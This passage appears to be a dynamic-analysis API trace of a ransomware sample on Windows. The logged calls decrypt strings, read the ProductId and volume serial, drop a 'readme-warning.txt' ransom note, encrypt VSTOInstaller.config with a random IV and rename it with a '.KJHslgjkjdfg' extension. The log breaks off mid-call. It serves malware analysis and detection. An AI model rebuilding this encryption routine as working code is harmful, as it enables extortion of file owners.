[0190.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.714] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0190.714] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.714] GetProcessHeap () returned 0x2ef0000 [0190.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.714] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0190.714] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.714] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0190.714] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0190.714] RegCloseKey (hKey=0x12c) returned 0x0 [0190.714] GetProcessHeap () returned 0x2ef0000 [0190.714] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0190.714] GetProcessHeap () returned 0x2ef0000 [0190.714] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.714] GetProcessHeap () returned 0x2ef0000 [0190.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.715] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0190.715] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.715] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0190.715] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.715] GetProcessHeap () returned 0x2ef0000 [0190.715] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0190.715] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0190.715] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0190.715] GetProcessHeap () returned 0x2ef0000 [0190.715] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0190.715] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt") returned 84 [0190.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.716] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0190.717] CloseHandle (hObject=0x12c) returned 1 [0190.717] GetProcessHeap () returned 0x2ef0000 [0190.717] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.717] GetProcessHeap () returned 0x2ef0000 [0190.717] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0190.717] GetProcessHeap () returned 0x2ef0000 [0190.717] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0190.718] GetProcessHeap () returned 0x2ef0000 [0190.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.718] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0190.718] GetProcessHeap () returned 0x2ef0000 [0190.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0190.718] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0190.718] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0190.718] GetProcessHeap () returned 0x2ef0000 [0190.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0190.718] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0190.718] GetProcessHeap () returned 0x2ef0000 [0190.718] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x78) returned 0x2f09d00 [0190.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0190.720] GetProcessHeap () returned 0x2ef0000 [0190.720] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0190.720] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.720] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10.0", cAlternateFileName="")) returned 1 [0190.720] GetProcessHeap () returned 0x2ef0000 [0190.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27a) returned 0x2f10788 [0190.720] GetProcessHeap () returned 0x2ef0000 [0190.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f45740 [0190.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0190.730] GetProcessHeap () returned 0x2ef0000 [0190.730] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0190.730] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.731] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0190.731] GetProcessHeap () returned 0x2ef0000 [0190.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f16e68 [0190.731] GetProcessHeap () returned 0x2ef0000 [0190.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0190.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0190.732] GetProcessHeap () returned 0x2ef0000 [0190.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0190.732] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0190.732] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0190.732] GetProcessHeap () returned 0x2ef0000 [0190.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f14588 [0190.732] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0190.732] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0190.732] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0190.732] GetProcessHeap () returned 0x2ef0000 [0190.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0190.733] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0190.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.734] GetProcessHeap () returned 0x2ef0000 [0190.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.734] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.734] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.736] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.736] GetProcessHeap () returned 0x2ef0000 [0190.737] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0190.737] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50) returned 1 [0190.737] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.737] WriteFile (in: hFile=0x12c, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dfefe8*=0x50, lpOverlapped=0x0) returned 1 [0190.737] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.737] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.737] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.737] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.737] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.737] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.737] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.737] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.737] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2cc, lpOverlapped=0x0) returned 1 [0190.737] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2d0) returned 1 [0190.738] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.738] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2d0, lpOverlapped=0x0) returned 1 [0190.738] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.738] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.738] SetEndOfFile (hFile=0x12c) returned 1 [0190.740] GetProcessHeap () returned 0x2ef0000 [0190.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0190.740] GetProcessHeap () returned 0x2ef0000 [0190.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.kjhslgjkjdfg")) returned 1 [0190.743] CloseHandle (hObject=0x12c) returned 1 [0190.743] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0190.743] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0190.743] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0190.743] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0190.744] GetProcessHeap () returned 0x2ef0000 [0190.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.744] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0190.744] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.744] GetProcessHeap () returned 0x2ef0000 [0190.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0190.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.744] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0190.744] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.744] GetProcessHeap () returned 0x2ef0000 [0190.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0190.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.744] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0190.744] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.744] GetProcessHeap () returned 0x2ef0000 [0190.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0190.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0190.744] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0190.744] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.744] GetProcessHeap () returned 0x2ef0000 [0190.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0190.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 